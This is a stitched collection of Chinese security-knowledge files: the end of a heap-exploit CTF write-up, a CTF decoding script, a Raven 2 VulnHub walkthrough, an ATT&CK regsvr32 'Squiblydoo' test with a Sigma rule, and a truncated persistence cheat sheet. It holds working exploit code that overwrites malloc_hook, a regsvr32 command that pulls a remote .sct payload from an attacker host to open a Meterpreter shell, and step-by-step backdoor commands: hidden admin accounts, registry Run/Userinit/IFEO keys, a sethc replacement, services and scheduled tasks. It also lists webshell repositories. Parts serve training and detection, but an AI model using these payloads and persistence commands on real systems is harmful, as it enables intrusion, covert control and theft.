int)result].inuse); if ( (_DWORD)result == 1 ) { LODWORD(a1[v2].inuse) = 0; a1[v2].size = 0LL; free(a1[v2].ptr); result = (__int64)&a1[v2]; *(_QWORD *)(result + 16) = 0LL; } } return result; } ``` dump 就是输出对应索引 chunk 的内容。 ### 利用思路 可以确定的是,我们主要有的漏洞就是任意长度堆溢出。由于该程序几乎所有保护都开启了,所以我们必须要有一些泄漏才可以控制程序的流程。基本利用思路如下 - 利用 unsorted bin 地址泄漏 libc 基地址。 - 利用 fastbin attack 将chunk 分配到 malloc_hook 附近。 #### 泄漏 libc 基地址 由于我们是希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能使 fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是fastbin 的情况下,会被合并到 top chunk 中。因此,我们这里构造一个 small bin chunk。在将该 chunk 释放到 unsorted bin 的同时,也需要让另外一个正在使用的 chunk 可以同时指向该 chunk 的位置。这样才可以进行泄漏。具体设计如下 ```Python # 1. leak libc base allocate(0x10) # idx 0, 0x00 allocate(0x10) # idx 1, 0x20 allocate(0x10) # idx 2, 0x40 allocate(0x10) # idx 3, 0x60 allocate(0x80) # idx 4, 0x80 # free idx 1, 2, fastbin[0]->idx1->idx2->NULL free(2) free(1) ``` 首先,我们申请了 5 个chunk,并释放了两个chunk,此时堆的情况如下。 ```shell pwndbg> x/20gx 0x55a03ca22000 0x55a03ca22000: 0x0000000000000000 0x0000000000000021 idx 0 0x55a03ca22010: 0x0000000000000000 0x0000000000000000 0x55a03ca22020: 0x0000000000000000 0x0000000000000021 idx 1 0x55a03ca22030: 0x000055a03ca22040 0x0000000000000000 0x55a03ca22040: 0x0000000000000000 0x0000000000000021 idx 2 0x55a03ca22050: 0x0000000000000000 0x0000000000000000 0x55a03ca22060: 0x0000000000000000 0x0000000000000021 idx 3 0x55a03ca22070: 0x0000000000000000 0x0000000000000000 0x55a03ca22080: 0x0000000000000000 0x0000000000000091 idx 4 0x55a03ca22090: 0x0000000000000000 0x0000000000000000 pwndbg> fastbins fastbins 0x20: 0x55a03ca22020 —▸ 0x55a03ca22040 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 ``` 当我们编辑 idx0 后,确实已经将其指向idx4了。这里之所以可以成功是因为堆的始终是 4KB 对齐的,所以idx 4的起始地址的第一个字节必然是0x80。 ```python # edit idx 0 chunk to particial overwrite idx1's fd to point to idx4 payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80) fill(0, len(payload), payload) ``` 修改成功后如下 ```shell pwndbg> x/20gx 0x55a03ca22000 0x55a03ca22000: 0x0000000000000000 0x0000000000000021 0x55a03ca22010: 0x6161616161616161 0x6161616161616161 0x55a03ca22020: 0x0000000000000000 0x0000000000000021 0x55a03ca22030: 0x000055a03ca22080 0x0000000000000000 0x55a03ca22040: 0x0000000000000000 0x0000000000000021 0x55a03ca22050: 0x0000000000000000 0x0000000000000000 0x55a03ca22060: 0x0000000000000000 0x0000000000000021 0x55a03ca22070: 0x0000000000000000 0x0000000000000000 0x55a03ca22080: 0x0000000000000000 0x0000000000000091 0x55a03ca22090: 0x0000000000000000 0x0000000000000000 pwndbg> fastbins fastbins 0x20: 0x55a03ca22020 —▸ 0x55a03ca22080 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 ``` 那么,当我们再次申请两个时,第二个申请到的就是idx 4处的chunk。为了能够申请成功,我们需要确保 idx4 的size 与当前 fastbin 的大小一致,所以,我们得修改它的大小。申请成功后,idx2会指向idx4。 ```python # if we want to allocate at idx4, we must set it's size as 0x21 payload = 0x10 * 'a' + p64(0) + p64(0x21) fill(3, len(payload), payload) allocate(0x10) # idx 1 allocate(0x10) # idx 2, which point to idx4's location ``` 之后,如果我们想要将 idx 4 放到 unsorted bin 中的话,为了防止其与top chunk 合并,我们需要再次申请一个chunk。此后再释放 idx4 就会进入 unsorted bin中去了。此时由于 idx2 也指向这个地址,所以我们直接展示他的内容就可以得到unsorted bin的地址了。 ```python # if want to free idx4 to unsorted bin, we must fix its size payload = 0x10 * 'a' + p64(0) + p64(0x91) fill(3, len(payload), payload) # allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk allocate(0x80) # idx 5 free(4) # as idx 2 point to idx4, just show this dump(2) p.recvuntil('Content: \n') unsortedbin_addr = u64(p.recv(8)) main_arena = unsortedbin_addr - offset_unsortedbin_main_arena log.success('main arena addr: ' + hex(main_arena)) main_arena_offset = 0x3c4b20 libc_base = main_arena - main_arena_offset log.success('libc base addr: ' + hex(libc_base)) ``` #### 分配chunk到malloc_hook附近 由于 malloc hook 附近的 chunk 大小为 0x7f,所以数据区域为0x60。这里我们再次申请的时候,对应 fastbin 链表中没有相应大小chunk,所以根据堆分配器规则,它会依次处理unsorted bin中的chunk,将其放入到对应的bin中,之后会再次尝试分配 chunk,因为之前释放的 chunk 比当前申请的 chunk 大,所以可以从其前面分割出来一块。所以 idx2 仍然指向该位置,那么我们可以使用类似的办法先释放申请到的chunk,然后再次修改 fd 指针为 fake chunk 即可。此后我们修改 malloc_hook 处的指针即可得到触发 onegadget。 ```Python # 2. malloc to malloc_hook nearby # allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4 allocate(0x60) free(4) # edit idx4's fd point to fake chunk fake_chunk_addr = main_arena - 0x33 fake_chunk = p64(fake_chunk_addr) fill(2, len(fake_chunk), fake_chunk) allocate(0x60) # idx 4 allocate(0x60) # idx 6 one_gadget_addr = libc_base + 0x4526a payload = 0x13 * 'a' + p64(one_gadget_addr) fill(6, len(payload), payload) # trigger malloc_hook allocate(0x100) p.interactive() ``` 同时,这里的 onegadget 地址也可能需要尝试多次。 ## 题目 - L-CTF2016–pwn200 ## 参考文献 - https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/ - http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html - https://www.slideshare.net/YOKARO-MON/oreo-hacklu-ctf-2014-65771717
sec-knowleage
import ebcdic import sys data = open("data.txt", "r").read().split() for i in range(0,len(data),2): a = ((int(data[i],2) >> 1) << 4) + (int(data[i+1],2) >> 1) sys.stdout.write(chr(a).decode("cp500"))
sec-knowleage
# Raven 2 > https://download.vulnhub.com/raven/Raven2.ova 靶场IP:`192.168.32.208` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.208 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-06 22:55 EDT Nmap scan report for 192.168.32.208 Host is up (0.00085s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 53818/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:F2:53:5B (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds ``` 访问80端口 ![image-20220907105626590](../../.gitbook/assets/image-20220907105626590.png) 爆破目录 ``` ┌──(root💀kali)-[/tmp] └─# dirb http://192.168.32.208/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Sep 6 22:56:41 2022 URL_BASE: http://192.168.32.208/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.208/ ---- ==> DIRECTORY: http://192.168.32.208/css/ ==> DIRECTORY: http://192.168.32.208/fonts/ ==> DIRECTORY: http://192.168.32.208/img/ + http://192.168.32.208/index.html (CODE:200|SIZE:16819) ==> DIRECTORY: http://192.168.32.208/js/ ==> DIRECTORY: http://192.168.32.208/manual/ + http://192.168.32.208/server-status (CODE:403|SIZE:302) ==> DIRECTORY: http://192.168.32.208/vendor/ ==> DIRECTORY: http://192.168.32.208/wordpress/ ``` 点击目录,发现这个文件夹存在目录遍历问题和这个源码是`phpmailer` ![image-20220907105843690](../../.gitbook/assets/image-20220907105843690.png) cms版本 ![image-20220907110026028](../../.gitbook/assets/image-20220907110026028.png) 找到一个flag ![image-20220907105948391](../../.gitbook/assets/image-20220907105948391.png) 搜索漏洞 ``` ┌──(root💀kali)-[/tmp] └─# searchsploit phpmailer 5.2.16 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- PHPMailer < 5.2.18 - Remote Code Execution | php/webapps/40968.sh PHPMailer < 5.2.18 - Remote Code Execution | php/webapps/40970.php PHPMailer < 5.2.18 - Remote Code Execution | php/webapps/40974.py PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) | multiple/webapps/41688.rb PHPMailer < 5.2.20 - Remote Code Execution | php/webapps/40969.py PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Execution | php/webapps/40986.py PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution | php/webapps/42221.py PHPMailer < 5.2.21 - Local File Disclosure | php/webapps/43056.py ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ``` 使用`php/webapps/40974.py` 修改攻击机和靶场IP ![image-20220907110728063](../../.gitbook/assets/image-20220907110728063.png) ``` █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗ ███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝ ██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗ ██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski [+] SeNdiNG eVIl SHeLL To TaRGeT.... [+] SPaWNiNG eVIL sHeLL..... bOOOOM :D [+] ExPLoITeD http://192.168.32.208/contact.php ```
sec-knowleage
# Postbook - FLAG0 ## 0x00 Index ![](./imgs/index.jpg) ## 0x01 Log In Try weak password ``` username: user password: password ``` ![](./imgs/login.jpg) ## 0x02 FLAG ![](./imgs/flag.jpg)
sec-knowleage
# T1218-010-win-基于白名单Regsvr32执行payload ## 来自ATT&CK的描述 命令行程序Regsvr32.exe用于在Windows系统上注册和注销对象链接及嵌入控件,包括动态链接库(DLL)。Regsvr32.exe可用于执行任意二进制文件。 攻击者可能会利用此功能代理执行代码,从而避免触发那些可能不会监控regsvr32.exe进程执行及其加载模块的安全工具,因为正常操作中使用regsvr32.exe的Windows会有白名单或误报。Regsvr32.exe也是微软签名的二进制文件。 Regsvr32.exe还可用于专门绕过进程白名单,方法是加载COM脚本小程序在用户权限下执行动态链接库。由于regsvr32.exe具有网络和代理感知功能,可以在调用期间将URL作为参数传递到外部web服务器上的文件来加载脚本。此方法不对注册表进行任何更改,因为COM对象实际上未注册,仅执行。这个技术变种通常称为“Squiblydoo”攻击,已被攻击者用于针对政府的活动中。 攻击者还可能会利用Regsvr32.exe来注册COM对象以便通过COM劫持建立持久性。 ## 测试案例 Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。 说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。 默认位置: ```bash C:\WINDOWS\SysWOW64\regsvr32.exe C:\WINDOWS\system32\regsvr32.exe ``` 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 ## 检测日志 windows 安全日志(需要自行配置) ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:win7(sysmon日志) ### 攻击分析 #### 配置MSF ```bash msf5 > use exploit/multi/script/web_delivery msf5 exploit(multi/script/web_delivery) > set target 3 target => 3 msf5 exploit(multi/script/web_delivery) > set lhost 192.168.126.146 lhost => 192.168.126.146 msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/script/web_delivery) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Using URL: http://0.0.0.0:8080/06Yud7aXXqYqT [*] Local IP: http://192.168.126.146:8080/06Yud7aXXqYqT [*] Server started. [*] Run the following command on the target machine: regsvr32 /s /n /u /i:http://192.168.126.146:8080/06Yud7aXXqYqT.sct scrobj.dll ``` #### 靶机执行payload ```cmd regsvr32 /s /n /u /i:http://192.168.126.146:8080/jnOUcgr0b0 scrobj.dll ``` #### 反弹shell ```bash msf5 exploit(multi/script/web_delivery) > [*] 192.168.126.149 web_delivery - Handling .sct Request [*] 192.168.126.149 web_delivery - Delivering Payload (1900 bytes) [*] 192.168.126.149 web_delivery - Handling .sct Request ``` 以失败告终,windows powershell已停止工作 ## 测试留痕 ```log EventID:1 Image: C:\Windows\System32\regsvr32.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Microsoft(C) Register Server Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: REGSVR32.EXE CommandLine: regsvr32 /s /n /u /i:http://192.168.126.146:8080/06Yud7aXXqYqT.sct scrobj.dll # sysmon日志 ``` ## 检测规则/思路 ### sigma规则 ```yml title: Regsvr32 Anomaly status: experimental description: Detects various anomalies in relation to regsvr32.exe author: Florian Roth date: 2019/01/16 references: - https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html tags: - attack.t1117 - attack.defense_evasion - attack.execution - car.2019-04-002 - car.2019-04-003 logsource: category: process_creation product: windows detection: selection1: Image: '*\regsvr32.exe' CommandLine: '*\Temp\\*' selection2: Image: '*\regsvr32.exe' ParentImage: '*\powershell.exe' selection3: Image: '*\regsvr32.exe' ParentImage: '*\cmd.exe' selection4: Image: '*\regsvr32.exe' CommandLine: - '*/i:http* scrobj.dll' - '*/i:ftp* scrobj.dll' selection5: Image: '*\wscript.exe' ParentImage: '*\regsvr32.exe' selection6: Image: '*\EXCEL.EXE' CommandLine: '*..\..\..\Windows\System32\regsvr32.exe *' condition: 1 of them fields: - CommandLine - ParentCommandLine falsepositives: - Unknown level: high ``` ### 建议 通过进程监控来检测和分析regsvr32.exe的执行和参数。比较regsvr32.exe的近期调用与历史已知合法参数及已加载文件来确定是否有异常和潜在的攻击活动。在regsvr32.exe调用之前和之后使用的命令参数也可用于确定正在加载的脚本或者动态链接库的来源和目的。 ## 参考推荐 MITRE-ATT&CK-T1218-010 <https://attack.mitre.org/techniques/T1218/010/>
sec-knowleage
# 权限维持 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **[web](#web)** * [webshell](#webshell) * webshell 管理工具 * webshell 爆破 * 无字母数字 webshell * 无文件 webshell * [中间件](#中间件) * **[win](#win)** * [后门用户](#后门用户) * [MSF权限维持](#MSF权限维持) * [权限维持技巧](#权限维持技巧) * [痕迹清理](#痕迹清理) * [域](#域) * [DSRM 密码同步](#dsrm-密码同步) * [SID 历史](#sid-历史) * [AdminSDHolder & SDProp](#adminsdholder-&-sdprop) * [组策略](#组策略) * [Hook PasswordChangeNotify](#hook-passwordchangenotify) * **[linux](#linux)** * [启动项](#启动项) * [命令后台运行](#命令后台运行) * [权限维持技巧](#权限维持技巧) * [隐藏后门进程](#后门隐藏进程) * [痕迹清理](#痕迹清理) * **[C2-RAT](#C2-RAT)** * [Framework](#framework) * [msfvenom](#msfvenom) * [msfencode](#msfencode) * Payload Generation * [Loader](#loader) * [进程注入](#进程注入) * [Platform](#platform) * [C2用途](#c2用途) * [文件分发](#文件分发) * [Serverless](#serverless) * [工具开发](#工具开发) * [对抗](#对抗) * [DLL 劫持](#dll-劫持) * [签名](#签名) * [免杀](#免杀) * [虚拟化检测](#虚拟化检测) --- ## web ### webshell <p align="center"> <img src="../../../../assets/img/Security/RedTeam/后渗透/权限维持/1.png" width="50%"> </p> **杂项** - [JoyChou93/webshell](https://github.com/JoyChou93/webshell) - 入侵分析时发现的 Webshell 后门 - [tennc/webshell](https://github.com/tennc/webshell) - 一个 webshell 收集项目 - [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass) - 绕过专业工具检测的 Webshell 研究文章和免杀的 Webshell - [yzddmr6/as_webshell_venom](https://github.com/yzddmr6/as_webshell_venom) - 免杀 webshell 无限生成工具蚁剑版 - [backlion/webshell](https://github.com/backlion/webshell) - 这是一些常用的 webshell **php相关资源** - [S9MF/S9MF-php-webshell-bypass](https://github.com/S9MF/S9MF-php-webshell-bypass) - 分享 PHP 免杀大马 - [oldkingcone/slopShell](https://github.com/oldkingcone/slopShell) - the only php webshell you need. **java相关资源** - [threedr3am/JSP-Webshells](https://github.com/threedr3am/JSP-Webshells) - 收集 JSP Webshell 的各种姿势 - [threedr3am/ZhouYu](https://github.com/threedr3am/ZhouYu) - SpringBoot 持久化 WebShell - [EmYiQing/JSPHorse](https://github.com/EmYiQing/JSPHorse) - 结合反射调用、Javac动态编译、ScriptEngine调用JS技术和各种代码混淆技巧的一款免杀JSP Webshell生成工具 ``` java -jar JSPHorse.jar -p your_password 1.jsp?pwd=your_password&cmd=calc.exe ``` - [czz1233/GBByPass](https://github.com/czz1233/GBByPass) - 冰蝎 哥斯拉 WebShell bypass **dotnet相关资源** - [Ivan1ee/.NETWebShell](https://github.com/Ivan1ee/.NETWebShell) - .net 命令执行的webshell #### webshell 管理工具 - 蚁剑 - 相关资源 - [AntSwordProject/antSword: AntSword is a cross-platform website management toolkit.](https://github.com/AntSwordProject/antSword) - [AntSwordProject/AntSword-Loader: AntSword 加载器](https://github.com/AntSwordProject/AntSword-Loader) - [virink/as_scanwebshell](https://github.com/virink/as_scanwebshell) - 通过正则匹配,查找后门 webshell - [AntSwordProject/AwesomeScript](https://github.com/AntSwordProject/AwesomeScript) - AntSword Shell 脚本分享/示例 - [AntSwordProject/AwesomeEncoder](https://github.com/AntSwordProject/AwesomeEncoder) - AntSword 自定义编(解)码器分享 - 相关文章 - [记一次绕过宝塔防火墙的BC站渗透](https://mp.weixin.qq.com/s/qXYed14XTM3Lbwv9qZ4G3g) - [负载均衡下的 WebShell 连接](https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA) - Behinder - [rebeyond/Behinder: "冰蝎"动态二进制加密网站管理客户端](https://github.com/rebeyond/Behinder) - 冰蝎 - Godzilla - [BeichenDream/Godzilla](https://github.com/BeichenDream/Godzilla) - 哥斯拉 - [admintony/BypassCaiDao: 过WAF菜刀](https://github.com/admintony/BypassCaiDao) - [Chora10/Cknife: Cknife](https://github.com/Chora10/Cknife) - [epinna/weevely3: Weaponized web shell](https://github.com/epinna/weevely3) - [shack2/skyscorpion](https://github.com/shack2/skyscorpion) - 天蝎 - [antonioCoco/SharPyShell](https://github.com/antonioCoco/SharPyShell) - tiny and obfuscated ASP.NET webshell for C# web applications ```bash python2 SharPyShell.py generate -p somepassword python2 SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword ``` #### webshell 爆破 - [shmilylty/cheetah](https://github.com/shmilylty/cheetah) - 一个专用于爆破 webshell 的工具 #### 无字母数字 webshell - [无字母数字 webshell](../语言安全/PHP安全/无字母数字webshell.md) #### 无文件 webshell **相关文章** - [Tomcat 源代码调试笔记 - 看不见的 Shell](https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw) - [基于内存 Webshell 的无文件攻击技术研究](https://landgrey.me/blog/12/) - [利用“进程注入”实现无文件不死webshell](https://www.cnblogs.com/rebeyond/p/9686213.html) - [查杀Java web filter型内存马](http://gv7.me/articles/2020/kill-java-web-filter-memshell/) **相关资源** - [z1Ro0/tomcat_nofile_webshell](https://github.com/z1Ro0/tomcat_nofile_webshell) - Tomcat 基于动态注册 Filter 的无文件 Webshell - [ydnzol/memshell](https://github.com/ydnzol/memshell) - Tomcat 冰蝎内存马 --- ### 中间件 **httpd** - 相关工具 - [ianxtianxt/apache-](https://github.com/ianxtianxt/apache-) - apache 权限维持后门 **nginx** - 相关工具 - [t57root/pwnginx](https://github.com/t57root/pwnginx) - a nginx backdoor provides shell access, socks5 tunneling, http password sniffing. **iis** - 相关工具 - [ZhuriLab/Joker](https://github.com/ZhuriLab/Joker) - 一款基于 Http.sys 的利用工具 --- ## win ### 后门用户 **相关文章** - [Windows完美实现克隆用户的方法](https://ai-sewell.me/2018/Windows%E5%AE%8C%E7%BE%8E%E5%AE%9E%E7%8E%B0%E5%85%8B%E9%9A%86%E7%94%A8%E6%88%B7%E7%9A%84%E6%96%B9%E6%B3%95/) - [你能找到我么?-- 隐藏用户建立(Powershell)](https://evi1cg.me/archives/UserClone.html) - [渗透技巧——Windows系统的帐户隐藏](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/) - [绕过反病毒添加管理员用户小结](https://mp.weixin.qq.com/s/UKJUBQFKf1lBctfckmieDg) - [逃逸——当net命令被禁用](https://www.anquanke.com/post/id/255225) **相关项目/工具** - [Ch1ngg/AggressorScript-CreateCloneHiddenAccount](https://github.com/Ch1ngg/AggressorScript-CreateCloneHiddenAccount) - 创建一个克隆隐藏的管理员账号 - [An0nySec/ShadowUser](https://github.com/An0nySec/ShadowUser) - 影子用户 克隆 - [lengjibo/NetUser](https://github.com/lengjibo/NetUser) - 使用 windowsapi 添加用户,可用于 net 无法使用时 - [kindtime/nosferatu](https://github.com/kindtime/nosferatu) - Lsass NTLM Authentication Backdoor - [0x727/CloneX_0x727](https://github.com/0x727/CloneX_0x727) - 进行克隆用户、添加用户等账户防护安全检测的轻巧工具 ```bash CloneX.exe test 123456 # 新建用户 CloneX.exe *test 123456 # powerful mode CloneX.exe test test1 # 克隆存在的用户 ``` - [wgpsec/CreateHiddenAccount](https://github.com/wgpsec/CreateHiddenAccount) - 使用注册表创建隐藏帐户的工具 - [r4wd3r/Suborner](https://github.com/r4wd3r/Suborner) - [Suborner: A Windows Bribery for Invisible Persistence](https://r4wsec.com/notes/the_suborner_attack/index.html) ```bash # 需要 SYSTEM 权限 # 默认打包的 exe 依赖于 .net4.0 注意 .\Suborner.exe /username:test$ /password:Password.1 ``` **$ 符号** ```bash net user test$ 1234abcd~ /add # 添加用户 # Windows 的帐号名称后带着"$"符号时,不会在 net user 命令中显示出帐号信息 # 但是,在“计算机管理”——>“本地用户和组”——>“用户”中可以看到新创建的 “test$”。 net localgroup administrators test$ /add # 将用户添加到管理组 net user test$ /del # 删除用户 query user # 查看会话 logoff <ID号> # 踢掉 ``` **改注册表** 新建 test$ 用户,不需要加入到管理员组 ``` net user test$ 1234abcd~ /add ``` 打开注册表 `regedit`,给予 administrator 完全控制和读取注册表 SAM 键的权限 修改 `HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users` 将 `test$` 、和 `test$`、administrator 对应注册表导出 将隐藏账号的 F 键的值替换成 adminstrator 的 F 键的值 删除之前创建的隐藏账号: ``` net user test$ /del ``` 双击执行修改的注册表文件,和导出的 test$ 此时 test$ 用户已经加入注册表中,但是在本地用户和组中找不到 ``` net user test$ ``` 如果要删除,必须要去注册表删账号相应的键值 --- ### 权限维持技巧 **相关文章** - [内网渗透-权限维持](http://rtshield.top/2019/09/16/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81/) **注册表后门** ``` HKLM\Software\Microsoft\Windows\CurrentVersion\Run ``` 原理就是在注册表的启动项下,新建一个键值对,键可变,值为后门程序的路径 1. 上传后门程序 2. 隐藏文件 ``` attrib "C:\Windows\Temp\payload.exe" +h +s ``` 3. 通过注册表加入启动项 ``` reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f ``` `/v` 后面为键的名称,`/t` 为键的类型,`/d` 为该键具体的值,`/f` 意为强制覆盖现有项 - 清除后门 ``` reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f ``` 删除注册表下对应的键值 ``` del C:\Windows\Temp\payload.exe ``` 清除后门程序 **userinit 注册表后门** ``` HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ``` 原理就是用户在登录时,winlogon 会自动运行其中指定的程序 - 直接写入注册表 ```bash reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,<powershell代码>" /f ``` 或者 - 使用 powershell ```powershell Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,<powershell代码>" ``` **Logon Scripts 后门** ``` HKCU\Environment ``` 1. 上传后门程序 将 powershell 的一句话执行程序直接放入 bat 脚本中 2. 隐藏后门程序 ``` attrib "C:\Windows\Temp\payload.bat" +h +s ``` 3. 写入注册表 ``` reg add HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\Temp\payload.bat" /f ``` - 清除后门 ``` reg delete HKCU\Environment /v UserInitMprLogonScript ``` ``` del C:\Windows\Temp\payload.bat ``` **映像劫持** - https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ 需要部署后门程序,但是不易被发现 ``` reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v GlobalFlag /t REG_DWORD /d 512 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v MonitorProcess /d "C:\Users\Administrator\Desktop\payload.exe" ``` **RunOnceEx 后门** - https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ 需要重启和管理员权限 生成恶意 DLL 文件,并部署 ``` reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\Windows\Temp\evil.dll" ``` **自启目录后门** 开机自启后门 1. 上传后门程序 2. 部署后门程序 ``` copy "C:\Windows\Temp\payload.exe" "C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y ``` 删除多余后门副本 ``` del C:\Windows\Temp\payload.exe ``` 3. 隐藏后门程序 ``` attrib "C:\Users\lamba\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +h +s ``` **服务启动后门** 开机自启服务并启动后门 1. 上传后门程序 2. 创建 Windows 服务 ``` sc create "WindowsUpdate" binpath= "cmd /c start C:\Windows\Temp\payload.exe" sc config "WindowsUpdate" start= auto ``` 3. 启动服务 ``` net start WindowsUpdate ``` - 停止服务,删除服务 ``` net stop WindowsUpdate sc delete "WindowsUpdate" ``` **计划任务后门** 通过计划任务周期执行后门程序 1. 上传后门程序 2. 创建计划任务 ``` schtasks /create /tn WindowsUpdate /tr "C:\Windows\Temp\payload.exe" /sc minute /mo 1 ``` 3. 隐藏后门程序 ``` attrib "C:\Windows\Temp\payload.exe" +h +s ``` - 删除计划任务 ``` schtasks /delete /tn WindowsUpdate ``` **shift 后门** 在 windows 登录界面处,连续按5次 shift 来启动粘滞键,启动 sethc 程序 1. 拷贝文件 ``` copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe ``` 2. 隐藏文件 ``` attrib C:\Windows\System32\sethc.exe +h +s attrib C:\Windows\System32\dllcache\sethc.exe +h +s ``` **LGP 后门** 开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性 **WinRM + IIS URI 监听** 在 IIS 监听 80 端口的情况下,可以通过设置 WinRM 监听端口为 80,再设置监听 URI 的方式来复用 80 端口。以此作为隐蔽的后门。 ``` winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} winrm set winrm/config/Listener?Address=*+Transport=HTTP @{URLPrefix="test"} ``` **利用 AutodialDLL 进行权限维持** - https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/ --- ### 痕迹清理 **清除 powershell 历史记录** ```powershell powershell Remove-Item 